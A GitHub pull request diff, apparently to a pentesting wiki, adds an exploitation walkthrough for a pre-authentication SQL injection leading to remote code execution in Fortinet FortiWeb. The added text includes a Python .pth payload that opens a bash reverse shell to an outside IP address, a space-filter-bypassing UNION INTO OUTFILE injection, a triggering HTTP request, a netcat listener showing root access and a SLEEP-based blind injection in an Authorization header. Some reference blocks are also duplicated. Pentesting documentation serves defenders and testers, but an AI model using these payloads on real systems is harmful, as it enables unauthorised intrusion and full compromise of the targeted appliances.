Skip to content

Pre-auth SQL Injection to RCE in Fortinet FortiWeb Fabric Co... #1100

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -106,7 +106,7 @@ Recent Frida releases (>=16) automatically handle pointer authentication and oth

### Automated dynamic analysis with MobSF (no jailbreak)

[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) can instrument a dev-signed IPA on a real device using the same technique (`get_task_allow`) and provides a web UI with filesystem browser, traffic capture and Frida console【】. The quickest way is to run MobSF in Docker and then plug your iPhone via USB:
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) can instrument a dev-signed IPA on a real device using the same technique (`get_task_allow`) and provides a web UI with filesystem browser, traffic capture and Frida console【†L2-L3】. The quickest way is to run MobSF in Docker and then plug your iPhone via USB:

```bash
docker pull opensecurity/mobile-security-framework-mobsf:latest
Expand Down
55 changes: 54 additions & 1 deletion src/network-services-pentesting/pentesting-mysql.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,10 @@
# 3306 - Pentesting Mysql

{{#include /banners/hacktricks-training.md}}

## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)

{{#include ../banners/hacktricks-training.md}}

## **Basic Information**
Expand Down Expand Up @@ -123,6 +128,52 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}

#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)

Abusing the classic `INTO OUTFILE` primitive it is possible to obtain *arbitrary code execution* on targets that later run **Python** scripts.

1. Use `INTO OUTFILE` to drop a custom **`.pth`** file inside any directory loaded automatically by `site.py` (e.g. `.../lib/python3.10/site-packages/`).
2. The `.pth` file can contain a *single line* starting with `import ` followed by arbitrary Python code which will be executed every time the interpreter starts.
3. When the interpreter is implicitly executed by a CGI script (for example `/cgi-bin/ml-draw.py` with shebang `#!/bin/python`) the payload is executed with the same privileges as the web-server process (FortiWeb ran it as **root** → full pre-auth RCE).

Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):

```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```

Example of crafting the file through an **UNION** query (space characters replaced with `/**/` to bypass an `sscanf("%128s")` space filter and keep the total length ≤128 bytes):

```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```

Important limitations & bypasses:

* `INTO OUTFILE` **cannot overwrite** existing files; choose a new filename.
* The file path is resolved **relative to MySQL’s CWD**, so prefixing with `../../` helps to shorten the path and bypass absolute-path restrictions.
* If the attacker input is extracted with `%128s` (or similar) any space will truncate the payload; use MySQL comment sequences `/**/` or `/*!*/` to replace spaces.
* The MySQL user running the query needs the `FILE` privilege, but in many appliances (e.g. FortiWeb) the service runs as **root**, giving write access almost everywhere.

After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution:

```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```

The Python process will import the malicious `.pth` automatically and execute the shell payload.

```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```

---


## MySQL arbitrary read file by client

Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\
Expand Down Expand Up @@ -645,7 +696,9 @@ Entry_4:


{{#include ../banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)

{{#include ../banners/hacktricks-training.md}}


31 changes: 29 additions & 2 deletions src/pentesting-web/sql-injection/mysql-injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -160,6 +160,32 @@ select (select 1, 'flaf') = (SELECT * from demo limit 1);

More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)

### Injection without SPACES (`/**/` comment trick)

Some applications sanitise or parse user input with functions such as `sscanf("%128s", buf)` which **stop at the first space character**.
Because MySQL treats the sequence `/**/` as a comment *and* as whitespace, it can be used to completely remove normal spaces from the payload while keeping the query syntactically valid.

Example time-based blind injection bypassing the space filter:

```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```

Which the database receives as:

```sql
' OR SLEEP(5)-- -'
```

This is especially handy when:

* The controllable buffer is restricted in size (e.g. `%128s`) and spaces would prematurely terminate the input.
* Injecting through HTTP headers or other fields where normal spaces are stripped or used as separators.
* Combined with `INTO OUTFILE` primitives to achieve full pre-auth RCE (see the MySQL File RCE section).

---

### MySQL history

You ca see other executions inside the MySQL reading the table: **sys.x$statement_analysis**
Expand All @@ -174,11 +200,12 @@ mysql> select version();

## Other MYSQL injection guides

- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)]
- [PayloadsAllTheThingsMySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)

## References

- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)


{{#include ../../../banners/hacktricks-training.md}}
Expand Down